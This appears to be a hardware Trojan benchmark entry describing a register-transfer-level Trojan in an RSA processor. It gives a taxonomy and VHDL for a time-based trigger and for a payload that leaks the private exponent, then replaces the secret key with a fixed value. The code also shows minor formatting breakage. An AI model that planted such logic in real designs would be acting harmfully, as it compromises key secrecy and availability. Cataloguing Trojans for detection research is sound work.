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Trojan description

Trojan leaks in Exp (private key exponent (e)), and after a certain number of encryption Trojan replaces the secret key to deny the service. The adversary would be the only entity would understand the message.

Trojan taxonomy

- Insertion phase: Design
- Abstraction level: Register-transfer level
- —Activation mechanism: Internally time based
- **Effects:** Leak information, Denial of service
- **Location:** Processor
- Physical characteristics: Functional



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Trojan trigger

```
TrojanTrigger: process (ds, reset) is
begin
            if reset='1' then
                        TrojanCounter <= x''000000000'';
            elsif rising_edge(ds) then
                        if TjEnable = '1' then
                                    TrojanCounter <= TrojanCounter + 1;</pre>
                        end if;
            end if;
end process TrojanTrigger;
TrojanControlSignal: process (reset, TrojanCounter) is
begin
            if reset = '1' then
                        TjEnable <= '1';
            elsif TrojanCounter = x''00000002'' then
                        TjEnable <= '0';
            end if;
end process TrojanControlSignal;
```



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Trojan payload

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TrojanPayload: process (TrojanCounter) is begin

if TrojanCounter < x''000000002'' then

SecretKey <= inExp;
else

SecretKey <= x''009add0a'';
end if;
end process TrojanPayload;
```

